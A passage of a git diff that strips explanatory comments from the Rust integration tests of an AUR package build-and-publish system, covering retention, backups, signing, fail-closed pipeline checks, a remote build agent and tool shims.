fx.bump(&[("pkgrel", "99")]); let second = detect_outcome(&env, name); assert!( diff --git a/tests/ops.rs b/tests/ops.rs index 8fc6308..821b733 100644 --- a/tests/ops.rs +++ b/tests/ops.rs @@ -18,7 +18,6 @@ fn approve_and_build(env: &Env, name: &str) { pipeline::run(&env.cfg, &env.db, &id).unwrap(); } -/// Publish the same pkgbase N times, each at a higher version. fn publish_versions(env: &Env, fx: &Fixture, name: &str, n: usize) { approve_and_build(env, name); for i in 1..n { @@ -55,7 +54,6 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() { assert_eq!(report.releases_evicted, 3, "5 versions, keep 2: {report:?}"); assert!(report.files_removed >= 3, "each evicted release removes its package: {report:?}"); - // The newest two survive; the older three lose their bytes. let kept: Vec<PathBuf> = env .db .read(|c| { @@ -76,8 +74,6 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() { assert!(!p.exists(), "an evicted artifact should be gone: {}", p.display()); } - // Nothing was forgotten: the rows are all still there, marked as purged rather - // than removed (§15). assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(5)); assert_eq!(env.query_i64("SELECT count(*) FROM artifact", &[]), Some(5)); assert_eq!( @@ -88,7 +84,6 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() { env.query_i64("SELECT count(*) FROM release WHERE purged_at IS NOT NULL", &[]), Some(3) ); - // And the run itself is on the record. assert_eq!(env.query_i64("SELECT count(*) FROM gc_run", &[]), Some(1)); assert!(env.query_i64("SELECT count(*) FROM audit WHERE action='retention'", &[]) == Some(1)); } @@ -108,9 +103,6 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() { }) .unwrap(); let files = ops::release_files(&env.cfg, &env.db, oldest).unwrap(); - // Compare against what the database says the release holds: the store is - // content-addressed, so "does it look like a package" is not a question the - // path can answer. let held: Vec<(Option<String>, Option<String>, Option<String>)> = env .db .read(|c| { @@ -139,8 +131,6 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() { assert!(Path::new(p).exists(), "the {what} should exist before eviction"); } - // Eviction removes them together: a package whose log is gone but whose bytes - // remain is full price for no explanation. ops::retention(&env.cfg, &env.db, Some(1)).unwrap(); let still_there: Vec<&PathBuf> = files.iter().filter(|f| f.exists()).collect(); assert!( @@ -151,8 +141,6 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() { #[test] fn retention_never_evicts_the_version_the_index_is_serving() { - // The accepted release is *not* the newest one here; a naive "keep the newest - // N" would delete the bytes the index points at. let (env, fx) = env_with_fixture("plain-make"); publish_versions(&env, &fx, "plain-make", 2); let served = env @@ -176,8 +164,6 @@ fn retention_never_evicts_the_version_the_index_is_serving() { }) .unwrap(); - // Publish a third version, then pretend the index still serves the first by - // withdrawing the newer ones from the index. env.exec("UPDATE package SET state='removed' WHERE state='in_index'", &[]); env.exec( "UPDATE package SET state='in_index' WHERE release_id=?1", @@ -196,11 +182,8 @@ fn staging_dirs_are_swept_only_when_their_build_is_finished() { let (env, fx) = env_with_fixture("plain-make"); approve_and_build(&env, "plain-make"); - // An old dir belonging to a finished build: disposable. let done = env.cfg.staging_dir().join("finished-build"); - // An old dir with no build row at all: left over from a crash. let orphan = env.cfg.staging_dir().join("no-such-build"); - // An old dir whose build is still running: NOT disposable, however old it is. let live = env.cfg.staging_dir().join("live-build"); for d in [&done, &orphan, &live] { std::fs::create_dir_all(d).unwrap(); @@ -226,17 +209,14 @@ fn staging_dirs_are_swept_only_when_their_build_is_finished() { fn metrics_reports_the_operating_numbers_in_prometheus_format() { let (env, fx) = env_with_fixture("plain-make"); approve_and_build(&env, "plain-make"); - // Leave one review unapproved so there is review debt to measure. fx.bump(&[("pkgver", "9.9")]); aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap(); - // And a queued build that has never run, so queue depth is not vacuously zero. let c = candidates::pending_candidates(&env.db).unwrap().remove(0); let _ = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c); let m = ops::metrics(&env.cfg, &env.db).unwrap(); let text = m.to_prometheus(); - // Every family the contract names, each parseable as a Prometheus sample. for family in [ "aurbuild_queue_depth", "aurbuild_pending_review_candidates", @@ -281,8 +261,6 @@ fn metrics_reports_the_operating_numbers_in_prometheus_format() { #[test] fn a_fresh_install_reports_a_clean_sheet_not_a_division_by_zero() { - // A brand-new install has no builds at all: success rate has to be something an - // alert rule can read, not NaN and not 0%. let env = Env::new(); let m = ops::metrics(&env.cfg, &env.db).unwrap(); assert_eq!(m.succeeded + m.failed, 0); @@ -297,7 +275,6 @@ fn the_http_metrics_endpoint_serves_scrapeable_text() { assert_eq!(page.status, 200); assert!(page.body.contains("# TYPE aurbuild_queue_depth gauge")); assert!(page.body.contains("aurbuild_sqlite_wal_size_bytes")); - // No session needed: a scraper cannot log in. Check it with a bare socket. let (headers, body) = web.raw_get("/metrics"); assert!(body.contains("aurbuild_up 1"), "metrics should be reachable unauthenticated"); let ct = headers @@ -316,13 +293,10 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() { let out = ops::backup(&env.db, &dest).unwrap(); assert_eq!(out, dest); - // A single file: `VACUUM INTO` produces a compacted database with no WAL. assert!(dest.exists()); assert!(!Path::new(&format!("{}-wal", dest.display())).exists(), "a backup must not need a sidecar"); assert!(!Path::new(&format!("{}-shm", dest.display())).exists()); - // It is a real database with the same schema and the same crown jewel: the - // approval trail. let probe = rusqlite::Connection::open(&dest).unwrap(); let version: i64 = probe.query_row("PRAGMA user_version", [], |r| r.get(0)).unwrap(); assert!(version >= 8, "the snapshot carries the migrated schema, got {version}"); @@ -332,7 +306,6 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() { assert_eq!(releases, 1); drop(probe); - // The live database is untouched and still in WAL mode. let mode: String = env .db .read(|c| Ok(c.query_row("PRAGMA journal_mode", [], |r| r.get::<_, String>(0))?)) @@ -343,8 +316,6 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() { #[test] fn backup_refuses_to_overwrite_an_existing_snapshot() { - // A backup that silently replaces last week's backup is a way of losing the - // only copy on the day you need it. let (env, _fx) = env_with_fixture("plain-make"); approve_and_build(&env, "plain-make"); let dest = env.root().join("snap.db"); @@ -355,7 +326,6 @@ fn backup_refuses_to_overwrite_an_existing_snapshot() { assert!(std::fs::metadata(&dest).unwrap().len() > 0); } -/// Set a directory's mtime into the past, so the grace period can be exercised. fn backdate(path: &Path, secs: u64) { let old = std::time::SystemTime::now() - std::time::Duration::from_secs(secs); for f in std::fs::read_dir(path).into_iter().flatten().flatten() { diff --git a/tests/pipeline.rs b/tests/pipeline.rs index 6dd1df5..12d95b0 100644 --- a/tests/pipeline.rs +++ b/tests/pipeline.rs @@ -5,7 +5,6 @@ use aur_build::pipeline::{self, publish}; use aur_build::review::{approve, candidates, diff}; use common::*; -/// subscribe -> detect -> render the review -> approve. fn approve_fixture(env: &Env, name: &str) -> CandidateRow { aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -14,7 +13,6 @@ fn approve_fixture(env: &Env, name: &str) -> CandidateRow { candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap() } -/// Re-detect and approve whatever is pending now (a later version). fn approve_pending(env: &Env, name: &str) -> CandidateRow { approve_fixture(env, name) } @@ -65,14 +63,12 @@ fn end_to_end_publishes_a_signed_index() { assert_eq!(rel.pkgver, "1.0"); assert_eq!(rel.version(), "1.0-1"); - // Both the packages and the database are signed (§9). let arch = env.cfg.repo_arch_dir(); assert!(arch.join("plain-make-1.0-1-x86_64.pkg.tar.zst").exists()); assert!(arch.join("plain-make-1.0-1-x86_64.pkg.tar.zst.sig").exists()); assert!(arch.join("aur-build.db.tar.gz").exists()); assert!(arch.join("aur-build.db.tar.gz.sig").exists()); - // One checkpoint row per step, all green (§8.1). let all = step_rows(&env); assert_eq!(all.len(), BUILD_STEPS.len(), "one row per step: {all:?}"); assert!( @@ -83,9 +79,6 @@ fn end_to_end_publishes_a_signed_index() { #[test] fn the_build_never_signs_ingest_does() { - // Signing moved hub-side: the build command carries no `-si` and the signature - // over each artifact is made at ingest by the hub's own gpg. Worst the sandbox - // ever returns is unsigned bytes. let (env, _fx) = env_with_fixture("plain-make"); let c = approve_fixture(&env, "plain-make"); assert!(matches!(run_for(&env, &c), pipeline::Outcome::Succeeded { .. })); @@ -114,8 +107,6 @@ fn the_build_never_signs_ingest_does() { #[test] fn a_tampered_store_artifact_fails_the_lease_closed() { - // Corrupt the store bytes after publication: provisioning re-hashes everything - // it stages and must refuse, not build against bytes the index never approved. let (env, _plain, _client) = env_with_two_fixtures("plain-make", "dep-client"); let c = approve_fixture(&env, "plain-make"); assert!(matches!(run_for(&env, &c), pipeline::Outcome::Succeeded { .. })); @@ -145,8 +136,6 @@ fn a_tampered_store_artifact_fails_the_lease_closed() { other => panic!("{other:?}"), } - // Restore the bytes and resume: the lease verifies, the sandbox's `pacman -Q` - // confirms the pinned world landed, and the build completes. std::fs::write(&path, &original).unwrap(); assert!( matches!(pipeline::run(&env.cfg, &env.db, &id2).unwrap(), pipeline::Outcome::Succeeded { .. }), @@ -191,7 +180,6 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() { let c2 = approve_pending(&env, "plain-make"); run_for(&env, &c2); - // The old version is gone from the index, not merely superseded in place. assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0.1-1".into())]); let rel = db::accepted_release(&env.db, "plain-make").unwrap().unwrap(); assert_eq!(rel.pkgver, "1.0.1"); @@ -212,8 +200,6 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() { fn step0_fails_closed_when_the_recipe_hash_drifts() { let (env, _fx) = env_with_fixture("plain-make"); let c = approve_fixture(&env, "plain-make"); - // The mirror no longer matches what was approved. There is no path from - // "AUR moved since the review" to "we built it anyway" (I3). env.exec( "UPDATE snapshot SET recipe_hash='deadbeef' WHERE id=?1", ¶ms(vec![c.snapshot_id]), @@ -235,8 +221,6 @@ fn step4_fails_closed_when_pkgver_no_longer_matches() { let (env, fx) = env_with_fixture("git-sourced"); let c = approve_fixture(&env, "git-sourced"); assert_eq!(c.pkgver, "r1.0"); - // Upstream moves after approval: the tool now resolves a different pkgver. - // The build must refuse rather than silently ship the newer one (§8.1). let mut m = fx.manifest_json(); m["vercheck"] = serde_json::json!("r9.9-1"); std::fs::write(&fx.manifest, serde_json::to_string(&m).unwrap()).unwrap(); @@ -273,8 +257,6 @@ fn i4_kill_mid_publish_leaves_the_old_index_intact() { let out = run_for(&env, &c2); assert!(matches!(out, pipeline::Outcome::Failed { .. }), "{out:?}"); - // The served database is byte-for-byte the old one, and the DB never recorded - // the new release: consumers saw either the old world or the new one (I4). assert_eq!(std::fs::read(&v1).unwrap(), before); assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]); assert_eq!( @@ -301,8 +283,6 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() { aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", ""); assert_eq!(builds_after_crash, 2, "one real build before the crash"); - // "Restart": same build row, no fault. Only publish re-runs; the expensive - // steps are checkpointed. env.clear_publish_fault(); match pipeline::run(&env.cfg, &env.db, &id).unwrap() { pipeline::Outcome::Succeeded { release_id } => assert!(release_id > 0), @@ -314,7 +294,6 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() { "I5: resuming must not rebuild" ); assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0.1-1".into())]); - // Exactly one release row per version: no duplicates from the resume. assert_eq!( env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]), Some(1) @@ -329,7 +308,6 @@ fn split_pkgbase_is_one_approval_and_many_index_rows() { let names: Vec<String> = in_index(&env).into_iter().map(|(n, _)| n).collect(); assert!(names.contains(&"split-pkgbase".to_string()), "{names:?}"); assert!(names.contains(&"split-pkgbase-docs".to_string()), "{names:?}"); - // One approval, one release, N packages — the §3 split-pkgbase rule. assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1)); assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(1)); } @@ -342,14 +320,12 @@ fn a_failed_build_leaves_the_previous_version_serving() { fx.bump(&[("pkgver", "1.0.1")]); let c2 = approve_pending(&env, "plain-make"); - // The build itself fails this time. env.set_shim_fail("makepkg"); let out = run_for(&env, &c2); match out { pipeline::Outcome::Failed { step, .. } => assert_eq!(step, "build"), other => panic!("{other:?}"), } - // §8.4: the old version keeps serving and the candidate stays approved. assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]); assert_eq!( candidates::candidate_by_id(&env.db, c2.id).unwrap().unwrap().state, @@ -364,8 +340,6 @@ fn a_failed_build_leaves_the_previous_version_serving() { #[test] fn an_unresolvable_dependency_blocks_instead_of_failing() { let (env, _fx) = env_with_fixture("missing-dep"); - // We subscribe to `dep-partner` but have never published it: "unresolvable" in - // §10.4 means wait, not fail. env.subscribe("dep-partner"); let c = approve_fixture(&env, "missing-dep"); let out = run_for(&env, &c); @@ -388,8 +362,6 @@ fn a_blocked_build_waits_until_its_dependency_actually_arrives() { let c = approve_fixture(&env, "missing-dep"); assert!(matches!(run_for(&env, &c), pipeline::Outcome::Blocked { .. })); assert_eq!(builds::blocked_builds(&env.db).unwrap().len(), 1); - // The dispatcher sweeps blocked builds every pass. Requeueing one whose blocker - // is still missing would block again immediately, so it must stay put. let _ = publish::reconcile(&env.cfg, &env.db); assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "requeued while still blocked"); assert_eq!(builds::blocked_builds(&env.db).unwrap().len(), 1); @@ -417,7 +389,6 @@ fn i6_manual_rebuild_reuses_the_approved_identity() { pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. } )); - // Same version, new release row, and crucially: no new approval (§2 I6). assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), before); assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]); assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(2)); @@ -429,8 +400,6 @@ fn i12_world_snapshot_is_recorded_at_ingest() { let c = approve_fixture(&env, "plain-make"); run_for(&env, &c); - // Now a second build whose chroot had our own published package installed: - // that is the pair staleness tracking is computed from (§10.1). let mut m = fx.manifest_json(); m["installed"] = serde_json::json!([ {"name": "plain-make", "version": "1.0-1", "arch": "x86_64"}, @@ -468,8 +437,6 @@ fn i12_world_snapshot_is_recorded_at_ingest() { ) }) .collect(); - // The snapshot is the installed set INTERSECTED with our own packages: - // unfiltered, Arch moving would make every package permanently stale. assert!(members.iter().any(|(n, v)| n == "plain-make" && v == "1.0-1"), "{members:?}"); assert!(!members.iter().any(|(n, _)| n == "glibc"), "{members:?}"); } @@ -479,8 +446,6 @@ fn publish_refuses_without_an_approval_behind_it() { let (env, _fx) = env_with_fixture("plain-make"); let c = approve_fixture(&env, "plain-make"); run_for(&env, &c); - // Approval rows are immutable (I10 / §7.2), so the bad state is built from the - // other side: a release with nothing behind it. let rid = db::accepted_release(&env.db, "plain-make").unwrap().unwrap().id; env.exec("UPDATE release SET approval_id=NULL WHERE id=?1", ¶ms(vec![rid])); let id = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap(); @@ -491,7 +456,6 @@ fn publish_refuses_without_an_approval_behind_it() { } other => panic!("I1 requires a refusal, got {other:?}"), } - // The index still holds exactly the one entry that does have an approval. assert_eq!(in_index(&env).len(), 1); } @@ -500,8 +464,6 @@ fn a_stale_accepted_pointer_refuses_to_publish() { let (env, _fx) = env_with_fixture("plain-make"); let c = approve_fixture(&env, "plain-make"); let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); - // The approval was taken against "nothing accepted yet". Move the pointer - // out from under the build and the compare-and-swap must refuse. env.exec( "UPDATE pkgbase SET current_accepted_release_id=4242 WHERE name='plain-make'", &[], @@ -520,7 +482,6 @@ fn a_stale_accepted_pointer_refuses_to_publish() { #[test] fn withdrawing_a_release_twice_is_refused_the_second_time() { - // m-10: the second withdraw used to report success while rewriting nothing. let (env, _fx) = env_with_fixture("plain-make"); let c = approve_fixture(&env, "plain-make"); run_for(&env, &c); @@ -530,14 +491,11 @@ fn withdrawing_a_release_twice_is_refused_the_second_time() { assert!(err.to_string().contains("not published"), "{err}"); let err = approve::withdraw(&env.db, "tester", rid + 999, "x").unwrap_err(); assert!(err.to_string().contains("no release"), "{err}"); - // The first withdrawal stands: the index no longer serves it. assert!(in_index(&env).is_empty(), "the withdrawn release is still in the index"); } #[test] fn a_publish_that_does_not_land_leaves_no_orphan_files_in_the_served_tree() { - // m-16: the artifacts are copied into the served tree before the DB commit, - // and when the commit refused those bytes used to stay. let (mut env, _fx) = env_with_fixture("plain-make"); let c = approve_fixture(&env, "plain-make"); env.set_publish_fault("before-rename"); @@ -554,8 +512,6 @@ fn a_publish_that_does_not_land_leaves_no_orphan_files_in_the_served_tree() { .collect(); assert!(stray.is_empty(), "a publish that did not land left files behind: {stray:?}"); - // And the retry still works: the artifacts come from the collect dir, not the - // served tree. env.clear_publish_fault(); assert!( matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }), diff --git a/tests/production_surface.rs b/tests/production_surface.rs index e4e1346..c5d7353 100644 --- a/tests/production_surface.rs +++ b/tests/production_surface.rs @@ -24,8 +24,6 @@ fn no_production_module_references_the_shim_harness() { let mut offenders: Vec<String> = Vec::new(); for file in files { let rel = file.strip_prefix(&root).unwrap_or(&file).to_string_lossy().replace('\\', "/"); - // The harness itself, and the shim binaries that are its front ends, are - // allowed to know about it. if rel.starts_with("shims") || rel.starts_with("bin/") { continue; } @@ -49,8 +47,6 @@ fn no_production_module_references_the_shim_harness() { #[test] fn the_served_index_has_exactly_one_serialization_lock() { - // §6 M-5: two mutexes in `publish.rs`, each documented as *the* "one publish - // per repo" guarantee, is worse than either answer. There is one lock now. let src = std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("src/pipeline/publish.rs")) .expect("read publish.rs"); let mutexes = src @@ -59,7 +55,6 @@ fn the_served_index_has_exactly_one_serialization_lock() { .collect::<Vec<_>>(); assert_eq!(mutexes.len(), 1, "publish.rs must declare exactly one serialization mutex, found {mutexes:?}"); assert!(!src.contains("PUBLISH_LOCK"), "the second lock must stay deleted"); - // And both writers of the served index take it, not just one of them. let acquisitions = src .lines() .filter(|l| l.contains("lock_repo()") && !l.trim_start().starts_with("fn ")) @@ -88,8 +83,6 @@ fn the_shim_binaries_are_test_only() { #[test] fn the_test_hooks_are_a_gated_submodule_not_config_fields() { - // §6 M-9: fault injection in the publish hot path, shim environment variables - // and clock pinning were part of the production API surface. let cfg_src = read("src/config.rs"); for field in [ "pub path_prepend", @@ -100,7 +93,6 @@ fn the_test_hooks_are_a_gated_submodule_not_config_fields() { "pub shim_kill_parent", "pub shim_plant_link", ] { - // Each appears exactly once, inside `TestHooks`, never on `Config`. let hits = cfg_src.matches(field).count(); assert_eq!(hits, 1, "{field} must be declared once, on TestHooks — not on Config"); } @@ -113,8 +105,6 @@ fn the_test_hooks_are_a_gated_submodule_not_config_fields() { #[test] fn the_publish_hot_path_has_no_ungated_test_branch() { - // The two fault-injection points in `publish()` must sit behind the feature - // gate. let src = read("src/pipeline/publish.rs"); let lines: Vec<&str> = src.lines().collect(); let mut gated = 0; @@ -134,8 +124,6 @@ fn the_publish_hot_path_has_no_ungated_test_branch() { #[test] fn a_default_config_has_no_hooks_attached() { - // The state every real process runs in: nothing hooked, and nothing written - // to config.json about hooks. let cfg = aur_build::config::Config::default(); assert!(cfg.hooks.is_empty()); let json = serde_json::to_string(&cfg).unwrap(); @@ -144,8 +132,6 @@ fn a_default_config_has_no_hooks_attached() { #[test] fn the_review_modules_do_not_keep_private_copies_of_the_rules() { - // §6 m-2: `hosts` existed twice, verbatim, and the "did the executable part of - // the recipe change" rule existed twice with *different* semantics. for (file, forbidden) in [ ("src/review/diff.rs", ["fn hosts(", "fn body_changed("]), ("src/review/risk.rs", ["fn hosts(", "fn body_changed("]), @@ -163,8 +149,6 @@ fn the_review_modules_do_not_keep_private_copies_of_the_rules() { #[test] fn audit_rows_are_built_by_the_constructors_not_by_hand() { - // §6 m-4: three review sites hand-built `AuditEntry` literals, each with its - // own `detail` shape. let src = read("src/review/approve.rs"); assert!(!src.contains("db::AuditEntry {"), "audit rows must be built by AuditEntry::human/system"); assert_eq!(src.matches("AuditEntry::human(").count(), 3, "approve, reject and withdraw"); diff --git a/tests/remote_agent.rs b/tests/remote_agent.rs index af4ac60..534b346 100644 --- a/tests/remote_agent.rs +++ b/tests/remote_agent.rs @@ -32,27 +32,22 @@ fn a_full_build_runs_over_the_agent_protocol() { let addr = backend.local_addr().to_string(); ctx.backend = Arc::new(backend); - // The sandbox dials the hub; the hub never dials it. let mut agent = std::process::Command::new(agent_bin()) .args(["--hub", &addr, "--token", "test-token", "--ttl", "30"]) .spawn() .expect("spawn sandbox-agent"); let out = pipeline::run_with(&ctx).unwrap(); - // Kill *and* reap: an unreaped child is a zombie the next test inherits. let _ = agent.kill(); let _ = agent.wait(); assert!(matches!(out, pipeline::Outcome::Succeeded { .. }), "{out:?}"); - // The agent-streamed output landed in the same file the SSE tail reads. let log = std::fs::read_to_string(env.cfg.build_log_path(&id)).unwrap(); assert!( log.contains("Making package"), "agent-streamed output must reach the build log:\n{log}" ); - // The build really ran as the agent's child, with the shim protocol applied - // from the Run frame's environment. let shimlog = env.cfg.hooks.shim_dir.clone().unwrap(); assert_eq!(aur_build::shims::called_with(&shimlog, "makepkg", ""), 1); } @@ -79,7 +74,6 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() { sbx.destroy().unwrap(); let _ = good.wait(); - // A stranger's box is refused at the rendezvous, not leased and hoped about. let mut bad = std::process::Command::new(agent_bin()) .args(["--hub", &addr, "--token", "wrong-token", "--ttl", "30"]) .spawn() @@ -92,10 +86,6 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() { let _ = bad.wait(); } -// One listener per process. Constructing a remote backend bound the agent -// listener, so a second concurrent build on a fixed `listen` died of EADDRINUSE -// for a reason that had nothing to do with its package. - fn remote_cfg(listen: &str, token: &str) -> aur_build::config::Config { aur_build::config::Config { sandbox: aur_build::config::Sandbox::Remote { @@ -107,8 +97,6 @@ fn remote_cfg(listen: &str, token: &str) -> aur_build::config::Config { } } -/// A port nothing is holding, so two backends can be asked for the *same* fixed -/// address — the only case where double-binding shows up. fn free_port() -> u16 { let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap(); let port = l.local_addr().unwrap().port(); @@ -125,17 +113,12 @@ fn two_builds_share_one_agent_listener() { let (sa, sb) = (&a.status().unwrap()[0].id, &b.status().unwrap()[0].id); assert_eq!(sa, sb, "both must report the one listener: {sa} vs {sb}"); assert!(sa.contains(&addr), "and it must be the configured address: {sa}"); - // Why the sharing matters, asserted rather than assumed: a raw second bind on a - // listening address is EADDRINUSE. If this ever passes, the test above is - // vacuous. assert!( std::net::TcpListener::bind(&addr).is_err(), "a second bind on {addr} must fail, or nothing here proves anything" ); } -/// Sharing the listener means sharing the queue of dial-ins: an agent dials in when -/// the operator boots one, and whichever build is waiting takes it. #[test] fn a_dial_in_goes_to_whichever_backend_is_waiting() { let addr = format!("127.0.0.1:{}", free_port()); @@ -155,8 +138,6 @@ fn a_dial_in_goes_to_whichever_backend_is_waiting() { assert!(sbx.is_ok(), "the second backend must be able to take the dial-in: {:?}", sbx.err()); } -/// Two tokens cannot share a listener, and quietly reusing the first one's would -/// be a fail-open surprise — so the second bind is attempted and fails loudly. #[test] fn a_different_token_on_the_same_address_is_refused_not_shared() { let addr = format!("127.0.0.1:{}", free_port()); @@ -165,7 +146,6 @@ fn a_different_token_on_the_same_address_is_refused_not_shared() { assert!(second.is_err(), "two tokens on one address must not silently share a listener"); } -/// The contract in its literal shape: two workers, two builds, one listener. #[test] fn two_concurrent_builds_do_not_fight_over_the_listener() { let addr = format!("127.0.0.1:{}", free_port()); diff --git a/tests/schema_ownership.rs b/tests/schema_ownership.rs index 07345dd..944038c 100644 --- a/tests/schema_ownership.rs +++ b/tests/schema_ownership.rs @@ -1,15 +1,10 @@ use std::path::{Path, PathBuf}; -/// String literals that begin a statement. Matched on the quote so a prose -/// comment that mentions a `SELECT` cannot trip it, and comment lines are -/// skipped anyway. const SQL_LITERALS: &[&str] = &[ "\"SELECT", "\"select", "\"INSERT", "\"insert", "\"UPDATE", "\"update", "\"DELETE", "\"delete", "\"PRAGMA", "\"WITH", ]; -/// rusqlite entry points. Outside `db/` there is nothing legitimate to hand -/// them, since every statement string is supposed to live in `db/`. const STATEMENT_CALLS: &[&str] = &[ ".query_row(", ".query_map(", ".execute(", ".execute_batch(", ".prepare(", ".pragma_query_value(", ]; @@ -35,7 +30,6 @@ fn no_sql_statements_outside_the_db_module() { let mut offenders: Vec<String> = Vec::new(); for file in files { let rel = file.strip_path(&root); - // The owner of the schema is allowed to contain SQL. if rel.starts_with("db/") || rel.starts_with("db\\") { continue; } @@ -60,10 +54,6 @@ fn no_sql_statements_outside_the_db_module() { ); } -/// m-18: the version a human reads is `pkgver::full_version`'s to produce — -/// `epoch:pkgver-pkgrel`, with the epoch omitted when it is `0` or empty. That rule -/// used to exist twice, once in Rust and once in SQL. SQL selects the parts; Rust -/// formats them. #[test] fn only_rust_formats_a_version() { let root = Path::new(env!("CARGO_MANIFEST_DIR")); @@ -87,8 +77,6 @@ fn only_rust_formats_a_version() { ); } -/// `src/db/queries.rs` → `db/queries.rs`, so the failure message points at the -/// module rather than an absolute path. trait StripPath { fn strip_path(&self, root: &Path) -> String; } diff --git a/tests/shims.rs b/tests/shims.rs index d06a81e..5cc0167 100644 --- a/tests/shims.rs +++ b/tests/shims.rs @@ -7,7 +7,6 @@ use common::{corpus_root, env_with_fixture, shim_dir, Env, Web}; use aur_build::shims; -/// Run a shim binary with the harness protocol in the environment. fn shim(tool: &str, cwd: &Path, envs: &[(&str, &Path)], args: &[&str]) -> (i32, String, String) { let exe = shim_dir().join(tool); assert!(exe.exists(), "shim {tool} not built at {}", exe.display()); @@ -45,7 +44,6 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() { let log = tmp.path().join("shimlog"); std::fs::create_dir_all(&log).unwrap(); - // Exactly the invocation §8.1 step 5 makes. let chroot_args = ["-c", "-r", "chroot", "--", "-siTESTKEY", "-f"]; let (code, out, err) = shim( "makechrootpkg", @@ -58,7 +56,6 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() { let pkg = build.join("plain-make-1.0-1-x86_64.pkg.tar.zst"); assert!(pkg.exists(), "artifact left in the build dir like the real tool does"); let bytes = std::fs::read(&pkg).unwrap(); - // Read the artifact with the production parser, not a shim-only one (§6 M-4). let pkginfo = aur_build::pkginfo::pkginfo_text(&bytes).unwrap(); assert!(pkginfo.contains("pkgname = plain-make")); assert!(pkginfo.contains("pkgver = 1.0-1")); @@ -80,8 +77,6 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() { #[test] fn makechrootpkg_refuses_a_missing_pkgbuild() { - // Step 0 materializes from the mirror; if that silently produced nothing, the - // fake tool must notice rather than build an empty package. let tmp = tempfile::tempdir().unwrap(); let build = tmp.path().join("build"); std::fs::create_dir_all(&build).unwrap(); @@ -140,7 +135,6 @@ fn repo_add_writes_a_pacman_database() { assert!(out.status.success(), "{}", String::from_utf8_lossy(&out.stderr)); assert!(db.exists(), "database written"); - // The db is a gzip'd tar with one DESC per package — what pacman downloads. let dec = flate2::read::GzDecoder::new(std::fs::File::open(&db).unwrap()); let mut ar = tar::Archive::new(dec); let names: Vec<String> = ar @@ -170,8 +164,6 @@ fn repo_add_writes_a_pacman_database() { #[test] fn pacman_u_verifies_digests_and_q_reports_the_world() { - // The provisioning step's fail-closed world check runs against this fake: `-U` - // must refuse bytes that do not hash to the digest their name claims. let tmp = tempfile::tempdir().unwrap(); let log = tmp.path().join("shimlog"); std::fs::create_dir_all(&log).unwrap(); @@ -201,8 +193,6 @@ fn pacman_u_verifies_digests_and_q_reports_the_world() { assert_eq!(code, 0); assert!(out.contains("plain-make 1.0-1"), "the world check reads -Q: {out}"); - // A blob whose bytes do not match the digest its name claims is refused like a - // bad signature. let bad = tmp.path().join(aur_build::hash::hex(b"some other artifact")); std::fs::write(&bad, b"tampered").unwrap(); let (code, _, err) = shim( @@ -244,8 +234,6 @@ fn mkarchroot_creates_a_warm_root() { assert!(root.join("SHIM-ROOT").exists()); } -/// Every fixture in the corpus must be drivable through the shims: the executable -/// documentation of the §16 edge cases. #[test] fn every_fixture_is_drivable_through_the_shims() { let mut names = Vec::new(); @@ -314,8 +302,6 @@ fn every_fixture_is_drivable_through_the_shims() { } } -/// The corpus doubles as detection fixtures: each one must be detectable through -/// the real watcher against its local git repo. #[test] fn fixtures_are_detected_through_the_watcher() { for name in ["plain-make", "with-patch", "install-hooks", "skip-checksum", "split-pkgbase", "epoch-bump"] { @@ -343,7 +329,6 @@ fn shim_environment_reaches_child_processes_through_the_config() { cfg.hooks.shim_dir = Some(env.path("shimlog")); std::fs::create_dir_all(env.path("shimlog")).unwrap(); - // Prove the config is what puts the shims on PATH, not the test process env. let mut cmd = Command::new("sh"); cfg.child_env(&mut cmd); let out = cmd.args(["-c", "command -v makechrootpkg; echo $AUR_SHIM_MANIFEST"]).output().unwrap(); @@ -352,13 +337,6 @@ fn shim_environment_reaches_child_processes_through_the_config() { assert!(s.contains("manifest.json"), "{s}"); } -// repo-add's database filename. A shim must be as strict as the tool it stands in -// for: 